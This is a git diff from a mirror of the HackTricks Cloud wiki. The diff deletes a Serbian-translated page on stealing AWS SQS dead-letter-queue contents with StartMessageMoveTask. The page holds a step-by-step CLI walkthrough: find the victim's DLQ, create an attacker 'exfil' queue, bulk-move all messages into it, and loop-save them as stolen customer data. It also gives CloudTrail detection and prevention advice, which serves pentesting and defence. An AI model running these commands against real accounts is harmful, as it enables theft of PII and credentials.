mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p
This commit is contained in:
@@ -1,154 +0,0 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opis
|
||||
|
||||
Iskoristite SQS message move tasks da ukradete sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u attacker-controlled queue koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi eksfiltrirala osetljive podatke koji su se tokom vremena nakupili u DLQ-ovima.
|
||||
|
||||
## Šta je Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue je posebna SQS queue u koju se poruke automatski šalju kada glavna aplikacija ne uspe da ih obradi. Te neuspešne poruke često sadrže:
|
||||
- Osetljive podatke aplikacije koje nije bilo moguće obraditi
|
||||
- Detalje o greškama i informacije za debug
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokene, kredencijale ili druge tajne
|
||||
- Poslovno-kritične podatke o transakcijama
|
||||
|
||||
DLQ-ovi služe kao "groblje" za neuspele poruke, što ih čini vrednim ciljevima jer se u njima tokom vremena nagomilavaju osetljivi podaci koje aplikacije nisu mogle pravilno da obrade.
|
||||
|
||||
## Scenario napada
|
||||
|
||||
**Primer iz stvarnog sveta:**
|
||||
1. **E-commerce aplikacija** obrađuje narudžbine kupaca putem SQS-a
|
||||
2. **Neke narudžbine ne uspevaju** (problemi sa naplatom, zalihe, itd.) i premeštaju se u DLQ
|
||||
3. **DLQ se nagomilava** nedeljama/mesecima sa neuspelim narudžbinama koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Napadač dobija pristup** AWS kredencijalima sa SQS dozvolama
|
||||
5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih narudžbina sa osetljivim podacima
|
||||
6. **Umesto pokušaja pristupa pojedinačnim porukama** (spor i očigledan), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u svoj queue
|
||||
7. **Napadač izvlači** sve istorijske osetljive podatke u jednoj operaciji
|
||||
|
||||
## Zahtevi
|
||||
- Izvorna queue mora biti konfigurisana kao DLQ (referencirana bar od strane jedne queue kroz RedrivePolicy).
|
||||
- IAM dozvole (izvršava se kao kompromitovani victim principal):
|
||||
- Na DLQ-u (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na destination queue: dozvola za isporuku poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od kompromitovanog principala). Za destinacije unutar istog account-a ovo je obično dozvoljeno podrazumevano.
|
||||
- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Uticaj
|
||||
Eksfiltracija osetljivih payload-ova nagomilanih u DLQ-ovima (neuspešni eventi, PII, tokeni, payloadi aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od victim principala.
|
||||
|
||||
## Kako zloupotrebiti
|
||||
|
||||
- Identifikujte ARN žrtvinog DLQ-a i osigurajte da je zaista referenciran kao DLQ od strane neke queue (bilo koja queue je dovoljno).
|
||||
- Napravite ili izaberite attacker-controlled destination queue i dobijte njen ARN.
|
||||
- Pokrenite message move task sa žrtvinog DLQ-a na vašu destination queue.
|
||||
- Pratite progres ili otkažite po potrebi.
|
||||
|
||||
### CLI primer: Eksfiltracija podataka kupaca iz E-commerce DLQ
|
||||
|
||||
**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspele pokušaje obrade narudžbina kupaca.
|
||||
|
||||
1) **Pronađite i ispitajte žrtvin DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Kreirajte attacker-controlled destination queue**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Izvrši bulk message theft**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Prikupi ukradene osetljive podatke**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Napomene za pristup između naloga
|
||||
- Odredišna queue mora imati resource policy koja omogućava žrtvinom principal-u `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
|
||||
|
||||
## Zašto je ovaj napad efikasan
|
||||
|
||||
1. **Legitimna AWS funkcionalnost**: Koristi ugrađenu AWS funkcionalnost, što otežava otkrivanje kao zlonamerno
|
||||
2. **Masovna operacija**: Prenosi hiljade poruka brzo umesto sporog pojedinačnog pristupa
|
||||
3. **Istorijski podaci**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
|
||||
4. **Ispod radara**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
|
||||
5. **Mogućnost cross-account**: Može exfiltrirati u napadačev AWS nalog ako dozvole to omogućavaju
|
||||
|
||||
## Otkrivanje i prevencija
|
||||
|
||||
### Otkrivanje
|
||||
Pratite CloudTrail za sumnjive API pozive `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prevention
|
||||
1. **Least Privilege**: Ograničite dozvole `sqs:StartMessageMoveTask` samo na neophodne uloge
|
||||
2. **Monitor DLQs**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-a
|
||||
3. **Cross-Account Policies**: Pažljivo pregledajte SQS queue policies koje omogućavaju pristup između naloga
|
||||
4. **Encrypt DLQs**: Koristite SSE-KMS sa ograničenim politikama ključeva
|
||||
5. **Regular Cleanup**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ima
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user